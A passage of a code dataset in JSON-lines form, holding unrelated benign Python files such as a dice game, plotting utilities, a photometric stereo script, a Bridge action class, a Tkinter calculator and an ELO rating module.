bbox[3]),\n (0, 255, 0), 2)\n img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n cv2.imwrite('detected_' + img_path, img)\n\n\n# print(find_boxes('test_img.jpg'))\nshow_boxes('1231.jpg')","sub_path":"test_model_with_img.py","file_name":"test_model_with_img.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"116177894","text":"################################################\n# Name: Justin Johnson #\n# Course: CS111 #\n# Title: MiniTask 17 - Dice Game LA version #\n################################################\n\n######################\n# import necessary API \n######################\nimport random\n\n######################\n# function definitions\n######################\n\n# 'Rolls' a dice\n# Parameters -\n# numSides - the num-sided dice that will be rolled\n# Return\n# random number from range 1 to numSides\ndef roll(numSides):\n if numSides <= 0 or numSides > 65:\n print(\"Invalid number of sides!\")\n return -1\n return random.randint(1, numSides)\n\n# Determines the winner of two dice rolls\n# Parameters\n# val1 - player one's roll\n# val2 - player two's roll\n# Return\n# string value of who won\ndef checkWin(val1, val2):\n if val1 == val2:\n return \"Tie\"\n elif val1 > val2:\n return \"Player One\"\n return \"Player Two\"\n \n\n##########################################################\n# Sample Program Demonstrating use of roll() and checkWin()\n##########################################################\n\n# Continue to roll until user terminates program\nwhile True:\n # take input for the number of sides for the dice\n sides = int(input(\"Number of sides? \"))\n # check for valid input\n while sides <= 0:\n print(\"Invalid Side amount\")\n # ask for input until valid input is provided\n sides = int(input(\"Number of sides? \"))\n\n # Roll the dice\n result1 = roll(random.randint(1,sides))\n result2 = roll(random.randint(1,sides))\n\n # Declare results\n print(\"Player one rolls a %d\" % (result1))\n print(\"Player two rolls a %d\" % (result2))\n # Find who the winner is\n winner = checkWin(result1, result2)\n # Declare the winner\n if winner == \"Tie\":\n print(\"Ended in a \" + winner)\n else:\n print(winner + \" WON!\")\n","sub_path":"mini17.py","file_name":"mini17.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"380217184","text":"from mpl_toolkits.mplot3d import Axes3D\n\nimport matplotlib\nimport numpy as np\nimport pickle\n\n# Switch the MatPlotLib Backend\nmatplotlib.use('TKAgg')\n\nimport matplotlib.pyplot as plt\n\n\ndef print_labels(labels: list, name: str, record_names: list):\n zero_inds = np.where(labels == 0)\n one_inds = np.where(labels == 1)\n two_inds = np.where(labels == 2)\n\n zero_inds = zero_inds[0].tolist()\n one_inds = one_inds[0].tolist()\n two_inds = two_inds[0].tolist()\n\n zero_files = []\n one_files = []\n two_files = []\n\n for ind in zero_inds:\n zero_files.append(record_names[ind])\n\n for ind in one_inds:\n one_files.append(record_names[ind])\n\n for ind in two_inds:\n two_files.append(record_names[ind])\n\n clusters = [zero_files, one_files, two_files]\n\n file = open(r\"B:\\Studies\\Master's\\CardiacDiagnostics\\Database\\Clusteres_\" + name + \".pkl\", 'wb')\n pickle.dump(obj=clusters, file=file)\n file.close()\n\n print('\\n--------------------------------------------------------------')\n print(\"First Cluster Contains:\")\n for rec in zero_files:\n print(rec)\n\n print('\\n--------------------------------------------------------------')\n print(\"Second Cluster Contains:\")\n for rec in one_files:\n print(rec)\n\n print('\\n--------------------------------------------------------------')\n print(\"Third Cluster Contains:\")\n for rec in two_files:\n print(rec)\n\n\ndef smooth_ent(time: np.ndarray, ent: np.ndarray, smoothing_level: float = 0.01, method: str = 'windows'):\n \"\"\"\n\n :param time:\n :param ent:\n :param smoothing_level:\n :param method:\n :return:\n \"\"\"\n\n if smoothing_level == 1:\n step = 100000\n\n else:\n step = int(1 / (1 - smoothing_level))\n\n if method == 'windows':\n # If the smoothing method is 'windows', then we need to take an integer number of windows\n upper_limit = int(np.floor(ent.size / step) * step)\n ent = ent[0:upper_limit]\n time = time[0:upper_limit]\n\n # Perform the smoothing averaging operation on each window\n entropy_windows = np.reshape(a=ent, newshape=[step, -1], order='F')\n time_windows = np.reshape(a=time, newshape=[step, -1], order='F')\n\n smoothed_entropy = np.reshape(a=(np.mean(a=entropy_windows, axis=0)), newshape=[entropy_windows.shape[1], 1],\n order='F')\n smoothed_time = np.reshape(a=(np.mean(a=time_windows, axis=0)), newshape=[time_windows.shape[1], 1], order='F')\n\n elif method == 'running':\n # Calculate the length of the smoothed signal, in case of using the 'running' smoothing method\n n = int(ent.size - step)\n\n # Run a smoothing window using a running average\n smoothed_entropy = np.zeros([n, ])\n smoothed_time = np.zeros([n, ])\n for i in range(n):\n smoothed_entropy[i] = np.mean(ent[i:(i + step)])\n smoothed_time[i] = np.mean(time[i:(i + step)])\n\n else:\n raise ValueError(\"Unfamiliar smoothing method. Current methods include 'windows' or 'running'.\")\n\n return smoothed_time, smoothed_entropy\n\n\ndef visualize_entropies(entropies: list, record_names: list, entropy_specs: [(int, int), ...], db_name: str,\n smoothing_level: float = 0.01, method: str = 'windows', legend: bool = True):\n \"\"\"\n\n :param entropies:\n :param record_names:\n :param entropy_specs:\n :param db_name:\n :param smoothing_level:\n :param method:\n :param legend:\n :return:\n \"\"\"\n\n # Break down the entropy and time vectors\n for i, entropy in enumerate(entropies):\n plt.figure()\n tau, order = entropy_specs[i]\n\n for time, ent in entropy:\n smoothed_time, smoothed_ent = smooth_ent(time=time, ent=ent, smoothing_level=smoothing_level, method=method)\n plt.plot(smoothed_time, smoothed_ent)\n\n plt.xlabel('Smoothed Time [s]')\n plt.ylabel('Smoothed Entropy Amplitude [N.U.]')\n plt.title(db_name + ' - Multi-Scale Shannon Entropy Measure - Tau = {}'.format(tau) +\n ', Order = {}'.format(order))\n\n if legend:\n plt.legend(record_names)\n\n plt.show()\n\n\ndef visualize_distances(distances_matrix: np.ndarray, labels: list, records_names: list, cdf_dists: np.ndarray):\n \"\"\"\n\n :param distances_matrix:\n :param labels:\n :param records_names:\n :param cdf_dists:\n :return:\n \"\"\"\n\n # Setup\n n_samples = distances_matrix.shape[0]\n\n for i in range(n_samples):\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n ax.scatter(cdf_dists, distances_matrix[:, i, 0], distances_matrix[:, i, 1], c=np.array(labels))\n\n plt.xlabel(\"CDF distance \")\n plt.ylabel(\"Distance [Kolmogorov - Smirnov]\")\n ax.set_zlabel(\"Distance [Earth - Mover]\")\n plt.title(\"Distances for the sample: \" + records_names[i] + \" Colors - Purple - LT, Green - AF, Yellow - NSR\")\n\n plt.show()\n\n\ndef scatter_distances(distance_matrix: np.ndarray, labels: np.ndarray):\n \"\"\"\n Description:\n\n :param distance_matrix:\n :param labels:\n :return:\n \"\"\"\n\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n ax.scatter(distance_matrix[0, :], distance_matrix[1, :], distance_matrix[2, :], c=labels)\n\n plt.xlabel(\" \")\n plt.ylabel(\"Kolmogorov - Smirnov - Goodness Of Fitness Score - Var[Entropy]\")\n ax.set_zlabel(\"Earth - Mover - Score - ECG\")\n\n plt.show()\n\n\n\n","sub_path":"DeterministicAnalytics/EntropyMethods/Utilities/Visualization.py","file_name":"Visualization.py","file_ext":"py","file_size_in_byte":5510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"614128691","text":"import numpy as np\nfrom sklearn.metrics import recall_score\n\ndef sp_index(y_true, y_pred):\n num_classes = len(np.unique(y_true))\n recall = recall_score(y_true, y_pred, average=None)\n sp = np.sqrt(np.sum(recall) / num_classes *\n np.power(np.prod(recall), 1.0 / float(num_classes)))\n return sp\n\n\n","sub_path":"Functions/sp_index.py","file_name":"sp_index.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"380116169","text":"#####################################################################################################################################\n# VISION AND IMAGE PROCESSING - ASSIGNMENT 5\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\t\t\t\t\t\t\t\t\t\t\t\n# by Bo Arlet (tsl967), Viktor Hargitai (lzm222) and Maud Ottenheijm (cqw485)\t\t\t\t\t\t \t\t\t\t\t\t\t\t#\n# \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n# This code performs photometric stereo on two datasets to create a 3-dimensional representation of the input.\t\t\t\t\t\t#\n# It uses the following steps/algorithms:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n# - loading data, slicing mask and input images to exclude excessive zero-masking \t\t\t\t\t\t\t\t\t\t\t\t\t#\t\t\n# - obtain albedo modulated normal field M by multiplying with the (pseudo-) inverse of lighting S\t\t\t\t\t\t\t\t\t#\t\t\n# - extract and display albedo within mask\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\t\n# - extract components of the normal fields after normalizing M\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n# - unbiased_integrate function for computing depth within mask\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n# - visualise results from 4 different viewpoints\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n# The code calls on the following libraries:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n# - matplotlib (https://matplotlib.org/index.html)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\t\n# - numpy (http://www.numpy.org/)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\t\n# - scipy (https://www.scipy.org/)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\t\t\n# The code calls on the following python scripts:\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n# - ps_utils.py, provided by Francois Lauze, University of Copenhagen\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\t\t\n#####################################################################################################################################\n\n\n# load libraries and prewritten functions\nfrom ps_utils import *\nimport numpy as np\nimport numpy.linalg as lin\nimport matplotlib.pyplot as plt\nimport scipy.io as sio\n\n\n## MAIN FUNCTION: \n# takes filename for MAT file as input, performs photometric stereo to return a 3D representation of the input\ndef get_3Dirty(filename):\n\t# load file, save content in globals\n\tall_images = sio.loadmat(filename)\n\tglobal images\n\timages = all_images['I']\n\tglobal mask\n\tmask = all_images['mask']\n\tglobal S\n\tS = all_images['S'] \n\tglobal shape\n\t\n\t# reshape data to dimensions [nr of images, x, y], apply mask\n\timages = np.stack([images[:,:,i] for i in range(images.shape[2])], axis=0)\n\timages, mask = mask_that_boy()\n\n\t# save new shape\n\tshape = images.shape\n\n\t# flatten images to 1D array\n\timages = np.reshape(images, (images.shape[0],images.shape[1]*images.shape[2]))\n\n\t# take inverse of light vectors S, pseudo-inverse for sets with more than 3 images\n\tif shape[0] > 3:\n\t\tSinv = lin.pinv(S)\n\telse:\n\t\tSinv = lin.inv(S)\n\n\t# obtain albedo normal field, calculate albedo within mask\n\tdot_pd = np.dot(Sinv, images)\n\tp = lin.norm(dot_pd, axis=0)\n\tN = dot_pd / p\n\n\t# reshape to image dimensions\n\tN = np.reshape(N, (3,shape[1],shape[2]))\n\n\t# display albedo image with mask applied\n\tp = p.reshape(shape[1],shape[2])\n\tplt.imshow(p * mask, 'gray')\n\tplt.axis('off')\n\tplt.show()\n\n\t## SIMCHONY FUNCTION DOES NOT FUNCTION! Uncomment next two code lines to perform Simchony\n\n\t# perform Simchony for sets larger than 3 images, return 3D representation\n\t#if shape[0] > 3:\n\t# Dirty3 = simchony_integrate(N[0], N[1], N[2], mask)\n\n\t# perform Direct Poisson Solver for sets of 3 images, return 3D representation\n\tDirty3 = unbiased_integrate(N[0], N[1], N[2], mask, order=2)\n\t# display 4 different rotations of Dirty3 in 2D\n\trotations = [Dirty3]\n\n\tfor i in range(3):\n\t\tDirty3 = np.rot90(Dirty3)\n\t\trotations.append(Dirty3)\n\n\t# uncomment next line to display 2D representations of Dirty3\n\t#prints = [display_depth_matplotlib(img) for img in rotations]\n\treturn rotations\n\n\n\n# reshapes images and mask to exclude any rows/columns that are 0 masked\ndef mask_that_boy():\n i_s, j_s = np.where(mask == 1)\n resized_mask = mask[min(i_s):max(i_s), min(j_s):max(j_s)]\n resized_images = images[:, min(i_s):max(i_s), min(j_s):max(j_s)]\n return resized_images, resized_mask\n\n# call main function\nDirtyRotations_BBOY = get_3Dirty('Beethoven.mat')\nDirtyRotations_BBUD = get_3Dirty('Buddha.mat')\n\n","sub_path":"VIP_ass4(5)/SCRIPT.py","file_name":"SCRIPT.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"154617111","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 10 15:32:05 2020\n\n@author: franco\n\"\"\"\n\ndef isIn(char, aStr):\n '''\n char: a single character\n aStr: an alphabetized string\n \n returns: True if char is in aStr; False otherwise\n '''\n \n if len(aStr) == 0:\n return False\n elif len(aStr) == 1:\n if char == aStr:\n return True\n else:\n return False\n else:\n h=len(aStr)-1\n l=0\n g=int((h+l)/2)\n if aStr[g]==char:\n return True\n elif aStr[g]>char:\n aStr=aStr[l:g]\n return isIn(char,aStr)\n else:\n aStr=aStr[g+1:h+1]\n return isIn(char,aStr)\n ","sub_path":"is in.py","file_name":"is in.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"28078366","text":"#!/bin/python\nimport roomai.common\n\nclass BridgeAction(roomai.common.AbstractAction):\n '''\n The action of Bridge. There are two stages:1) bidding and 2) playing. \\n\n In the bidding stages, players \\n\n In the playing stages, players \\n\n The example of the Bridge action's usages:\\n\n >>action = roomai.bridge.BridgeAction.lookup(\"bidding_A_Heart\")\\n\n ## We strongly recommend you to use the lookup fuction to get an action \\n\n >>action.key \\n\n \"bidding_A_Heart\"\\n\n >>action.stage \\n\n 0\n # 0 means bidding, 1 means playing\n >>action.card.key \\n\n \"A_Heart\"\\n\n >>action.card.point \\n\n \"A\"\\n\n >>action.card.suit \\n\n \"Heart\"\\n\n >>action.card.point_rank \\n\n 12\\n\n >>action.card.suit_rank \\n\n 1\n '''\n\n def __init__(self, stage, bridgepokercard):\n super(BridgeAction, self).__init__()\n self.__stage__ = stage\n self.__card__ = bridgepokercard\n\n if self.__stage__ == 0:\n self.__key__ = \"bidding_\" + bridgepokercard.key\n elif self.__stage__ == 1:\n self.__key__ = \"playing_\" + bridgepokercard.key\n else:\n raise ValueError(\"The stage param must be 0 or 1.\")\n\n\n def __get_key__(self): return self.__key__\n key = property(__get_key__, doc=\"The key of the Bridge action. For example, \\n\"\n \">>action = roomai.bridge.BridgeAction.lookup(\\\"bidding_A_Heart\\\")\\n\"\n \">>action.key\\n\"\n \"\\\"bidding_A_Heart\\\"\")\n\n def __get_stage__(self): return self.__stage__\n stage = property(__get_stage__, doc = \"The stage of Bridge. For example, \\n\"\n \">>action = room.bridge_BridgeAction.lookup(\\\"playing_A_Heart\\\")\\n\"\n \">>action.stage\\n\"\n \"0 # 0 means the bidding stage and 1 means the playing stage\")\n\n def __get_card__(self): return self.__card__\n card = property(__get_card__, doc=\"The card in this Bridge action. For example, \\n\"\n \">>action = roomai.bridge.BridgeAction.lookup(\\\"playing_A_Heart\\\")\\n\"\n \">>action.card.key \\n\"\n \"\\\"A_Heart\\\"\\n\"\n \">>action.card.point \\n\"\n \"\\\"A\\\"\\n\"\n \">>action.card.suit \\n\"\n \"\\\"Heart\\\"\\n\"\n \">>action.card.point_rank \\n\"\n \"12\\n\"\n \">>action.card.suit_rank \\n\"\n \"1\")\n\n\n def __deepcopy__(self, memodict={}, newinstance = None):\n return AllBridgeActions[self.key]\n\n def lookup(self, key):\n '''\n lookup an action with the key\n \n :param key: the key of the targeted action\n :return: the action with this key\n '''\n if key not in AllBridgeActions:\n AllBridgeActions[key] = BridgeAction(key)\n return AllBridgeActions[key]\n\n\nAllBridgeActions = dict()","sub_path":"roomai/bridge/BridgeAction.py","file_name":"BridgeAction.py","file_ext":"py","file_size_in_byte":3219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"483262624","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis file is part of Urtext.\n\nUrtext is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nUrtext is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Urtext. If not, see .\n\n\"\"\"\n\nfrom urtext.node import UrtextNode\nimport os\n\ndef _compile(self):\n \n for dynamic_definition in self.dynamic_defs():\n if dynamic_definition.target_id in self.nodes:\n self.nodes[dynamic_definition.target_id].dynamic = True\n\n for dynamic_definition in self.dynamic_defs(): \n self._process_dynamic_def(dynamic_definition)\n\ndef _compile_file(self, filename): \n modified = False\n filename = os.path.basename(filename)\n for node_id in self.files[filename].nodes:\n for dd in self.dynamic_defs(target=node_id):\n if self._process_dynamic_def(dd) and not modified:\n modified = filename\n if modified:\n print('DEBUGGING: '+modified + ' was modified.')\n return modified\n\ndef _process_dynamic_def(self, dynamic_definition):\n\n # points = {} # Future\n new_node_contents = []\n\n if not dynamic_definition.target_id:\n return\n \n if dynamic_definition.target_id not in self.nodes:\n return self._log_item(None, 'Dynamic node definition in >' + dynamic_definition.source_id +\n ' points to nonexistent node >' + dynamic_definition.target_id)\n\n output = dynamic_definition.process_output() \n if not isinstance(output, str):\n return\n\n final_output = self._build_final_output(dynamic_definition, output) \n \n if dynamic_definition.target_id in self.nodes:\n changed_file = self._set_node_contents(dynamic_definition.target_id, final_output) \n if not changed_file:\n return\n \n self.nodes[dynamic_definition.target_id].dynamic = True\n \n # Dynamic nodes have blank title by default. Title can be set by header or title key.\n if not self.nodes[dynamic_definition.target_id].metadata.get_first_value('title'):\n self.nodes[dynamic_definition.target_id].title = ''\n \n return changed_file\n\ndef _build_final_output(self, dynamic_definition, contents):\n\n metadata_values = {}\n \n if dynamic_definition.target_id:\n metadata_values['ID'] = dynamic_definition.target_id\n metadata_values['def'] = [ '| '+ self.nodes[dynamic_definition.source_id].title +' >'+dynamic_definition.source_id +':'+str(dynamic_definition.location)] \n\n built_metadata = UrtextNode.build_metadata(\n metadata_values, \n one_line = not dynamic_definition.multiline_meta)\n\n final_contents = ''.join([\n ' ', ## TODO: Make leading space an option.\n contents,\n built_metadata,\n ])\n if dynamic_definition.spaces:\n final_contents = indent(final_contents, dynamic_definition.spaces)\n\n return final_contents\n\ndef indent(contents, spaces=4):\n \n content_lines = contents.split('\\n')\n content_lines[0] = content_lines[0].strip()\n for index, line in enumerate(content_lines):\n if line.strip() != '':\n content_lines[index] = '\\t' * spaces + line\n return '\\n'+'\\n'.join(content_lines)\n\ncompile_functions = [_compile, _build_final_output, _process_dynamic_def, _compile_file ]\n","sub_path":"compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":3686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"439166099","text":"#import necessary files\nfrom tkinter import *\nfrom polish import *\n\n#creating and defining the calculator\ncal = Tk()\ncal.title(\"Calculator\")\ninput1 = Entry(cal, width=35, borderwidth=1)\ninput1.grid(row=0, column=0, columnspan=4, padx=10, pady=10, sticky='EW')\noutputbox = Label(cal, text='OUTPUT', justify = CENTER, borderwidth=1, relief = SUNKEN)\noutputbox.grid(row=1, column=0 , columnspan=4, pady=5, sticky='EW')\n\n#functions called when specific buttons are pressed.\n#work() calls function from imported file \"FunctionsCalc\" and solves input\n#button_do() inserts input into Entry window\n#button_del() deletes current last character of string in the Entry window\n#button_cancel() deletes the entirety of the current string in the Entry window\ndef work():\n\tinputna = input1.get()\n\tz = postfix_conv(inputna)\n\tcomputation = solve(z)\n\toutputbox['text'] = computation\ndef button_do(num):\n\tcurrentnum = input1.get()\n\tinput1.delete(0, END)\n\tinput1.insert(0, currentnum + num)\ndef button_del():\n\tcurrentnum = input1.get()\n\tcurrentnum = currentnum[:-1]\n\tinput1.delete(0, END)\n\tinput1.insert(0, currentnum)\t\n\ndef button_cancel():\n\tinput1.delete(0, END) \n#Defining of button properties. Where: padx - padding in x axis, bd - border size, fg - foreground color, height - vertical dimension of button\n#command - assigning of command to be executed on button press (lambda is included to be able to call function)\n#.grid() - defining of button position\n#row - what row will the button be placed into, column - what column will the row be placed into, sticky - stick buttons regardless of Calculator dimensions\nbutton_leftparenthesis = Button (cal, text = \"(\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"(\")).grid(row=2, column=0, sticky='ew')\nbutton_cancel = Button (cal, text = \"C\", padx=10, bd=1, fg='black', height=2, command = button_cancel).grid(row=2, column=1, sticky='ew')\t\nbutton_delete = Button (cal, text = \"DEL\", padx=10, bd=1, fg='black', height=2, command = lambda: button_del()).grid(row=2, column=2, sticky='ew')\nbutton_slash = Button (cal, text = \"/\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"/\")).grid(row=2, column=3, sticky='ew')\n\nbutton_7 = Button (cal, text = \"7\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"7\")).grid(row=3, column=0, sticky='ew')\nbutton_8 = Button (cal, text = \"8\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"8\")).grid(row=3, column=1, sticky='ew')\t\nbutton_9 = Button (cal, text = \"9\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"9\")).grid(row=3, column=2, sticky='ew')\nbutton_asterisk = Button (cal, text = \"*\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"*\")).grid(row=3, column=3, sticky='ew')\n\nbutton_4 = Button (cal, text = \"4\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"4\")).grid(row=4, column=0, sticky='ew')\nbutton_5 = Button (cal, text = \"5\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"5\")).grid(row=4, column=1, sticky='ew')\t\nbutton_6 = Button (cal, text = \"6\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"6\")).grid(row=4, column=2, sticky='ew')\nbutton_minus = Button (cal, text = \"-\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"-\")).grid(row=4, column=3, sticky='ew')\n\nbutton_1 = Button (cal, text = \"1\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"1\")).grid(row=5, column=0, sticky='ew')\nbutton_2 = Button (cal, text = \"2\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"2\")).grid(row=5, column=1, sticky='ew')\t\nbutton_3 = Button (cal, text = \"3\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"3\")).grid(row=5, column=2, sticky='ew')\nbutton_plus = Button (cal, text = \"+\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"+\")).grid(row=5, column=3, sticky='ew')\n\nbutton_rightparenthesis = Button (cal, text = \")\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\")\")).grid(row=6, column=0, sticky='ew')\nbutton_0 = Button (cal, text = \"0\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\"0\")).grid(row=6, column=1, sticky='ew')\t\nbutton_dot = Button (cal, text = \".\", padx=10, bd=1, fg='black', height=2, command = lambda: button_do(\".\")).grid(row=6, column=2, sticky='ew')\nbutton_equals = Button (cal, text = \"=\", padx=10, bd=1, fg='black', height=2, command = lambda: work()).grid(row=6, column=3, sticky='ew')\n\ncal.mainloop()\n","sub_path":"Calculator3.py","file_name":"Calculator3.py","file_ext":"py","file_size_in_byte":4511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"22483791","text":"import Setting\nimport math\nimport time\nimport pymongo\n\nimport other_paras\n\npara1 = other_paras.ELO_N\npara2 = other_paras.ELO_WEAK\n\nDIFF = other_paras.DIFF\n\ndef get_elo_agent(agent_id, task_type, collection):\n \"\"\"\n 计算agent的elo等级分\n collection: 历史elo等级分表\n Return:\n 对agent_id 的等级分\n \"\"\"\n\n list_elo = list(collection.find({'agent_id': agent_id, \"task_type\": task_type}))\n if not list_elo:\n return 0\n\n return cal_elo(list_elo)\n\ndef get_elo_comm(comm_id, task_type, collection):\n\n list_elo = list(collection.find({'comm_id': comm_id, \"task_type\": task_type}))\n\n if not list_elo:\n return 0\n\n return cal_elo(list_elo)\n\ndef cal_elo(elo_list):\n \"\"\"\n r 更新公式\n Args:\n [\n agent_id / comm_id,\n task_type ,\n elo,\n time,\n task_id,\n ]\n \"\"\"\n molecular = 0 # 分子\n denominator = 0 # 分目\n now_time = time.time()\n if len(elo_list) == 0:\n return 0\n\n for data in elo_list:\n history_time = data['time']\n denominator += math.exp(-1 * para2 * (now_time - history_time) / para1)\n\n assert denominator != 0, \"分母为0\"\n molecular += data['elo'] * math.exp(-1 * para2 * (now_time - history_time) / para1)\n\n return molecular/denominator\n\n\n# { [agent_id, crep_agent, elo_agent] }\n\ndef elo(infoes, task):\n \"\"\"\n 将agent elo存入collection 中\n infoes: { (agent_id, crep_agent, elo_agent) }\n collection: ELOAgent\n\n 返回值: 每个投标agent的elo\n \"\"\"\n dataes = []\n\n for info in infoes:\n new_infoes = infoes - set([info])\n W = 0\n WE = 0\n WOF = []\n FOF = []\n K = get_K(info)\n\n for new_info in new_infoes:\n g_elo_actual = get_g_elo_actual(info[1], new_info[1])\n g_elo_expected = get_g_elo_except(info[2], new_info[2])\n\n W += g_elo_actual\n WE += g_elo_expected\n\n if info[2] - new_info[2] <= -200 and g_elo_actual != 0:\n wof_info = [new_info[2], g_elo_actual]\n WOF.append(wof_info)\n elif info[2] - new_info[2] > 200 and g_elo_actual != 1:\n fof_info = [new_info[2], g_elo_actual]\n FOF.append(fof_info)\n\n SW = 0\n SF = 0\n\n\n for new_info in WOF:\n S = get_S(info, new_info)\n SW += S * new_info[1]\n\n if len(WOF) != 0:\n SW = SW / len(WOF)\n\n for new_info in FOF:\n S = get_S(info, new_info)\n SF += S * (new_info[1] - 1)\n\n if len(FOF) != 0:\n SF = SF/len(FOF)\n\n\n new_elo = info[2] + K * (W - WE) + SW + SF\n\n dataes.append([info[0],task['task_type'],new_elo,time.time(),task['task_id']])\n\n return dataes\n\ndef save_agent_mongo(infoes, task, collection):\n dataes = elo(infoes, task)\n for data in dataes:\n post = {\n \"agent_id\": data[0],\n \"task_type\": data[1],\n \"elo\": data[2],\n \"time\": data[3],\n \"task_id\": data[4]\n }\n\n collection.insert_one(post)\n\ndef save_comm_mongo(infoes, task, collection):\n dataes = elo(infoes, task)\n for data in dataes:\n post = {\n \"comm_id\": data[0],\n \"task_type\": data[1],\n \"elo\": data[2],\n \"time\": data[3],\n \"task_id\": data[4]\n }\n\n collection.insert_one(post)\n\ndef get_K(info):\n \"\"\" 获取K的值\n (agent_id, crep_agent, elo_agent)\n \"\"\"\n K = 0\n if info[2] < 2000:\n K = 30\n elif 2000 <= info[2] <= 2400:\n K = 130 - info[2]/20\n else:\n K = 10\n return K\n\n\ndef get_g_elo_actual(crep1, crep2):\n \"\"\" save_agent_elo中的子函数 \"\"\"\n if crep1 - crep2 >= DIFF:\n return 1\n elif abs(crep1 - crep2) < DIFF:\n return 0.5\n else:\n return 0\n\ndef get_g_elo_except(elo1, elo2):\n \"\"\" save_agent_elo 中的子函数 \"\"\"\n\n return 1.0 /(1+10 ** (-1 * (elo1 - elo2) / 400.0))\n\n\ndef get_S(info, new_info):\n \"\"\" 获取K, S的值\n Args:\n info: (agent_id, crep_agent, elo_agent)\n new_info : [elo_agent, g_elo_actual]\n \"\"\"\n S = 0\n if info[2] < 2000:\n S = abs(info[2] - new_info[0]) / 10\n elif 2000 <= info[2] <=2400:\n S = abs(info[2] - new_info[0]) / 40\n else:\n S = abs(info[2] - new_info[0]) / 80\n\n return S\n\n\n\n\nif __name__ == \"__main__\":\n\n elo_list = [{'time': time.time()-10, 'elo': 10}]\n #print(cal_elo(elo_list))\n\n info = [\"C2_10\", 100, 2100]\n new_info = [2000, 123]\n #print(get_K(info))\n\n # print(get_g_elo_actual(2, 1))\n\n #print(get_g_elo_except(1, 2))\n #print(get_S(info, new_info))\n\n task = {\"task_type\":400, \"task_size\":100,\"task_id\":1, \"finish_time\":500}\n infoes = {(1, 2, 3), (3, 4, 5)}\n print(elo(infoes, task))\n","sub_path":"ICEITrust_41/ELO.py","file_name":"ELO.py","file_ext":"py","file_size_in_byte":4868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"409275152","text":"import pytest\nimport flask\nimport json\nfrom collar_metrics import barks_table\nimport collar_metrics\n\n\ndef jsonapi(response_data):\n return json.loads(str(response_data, 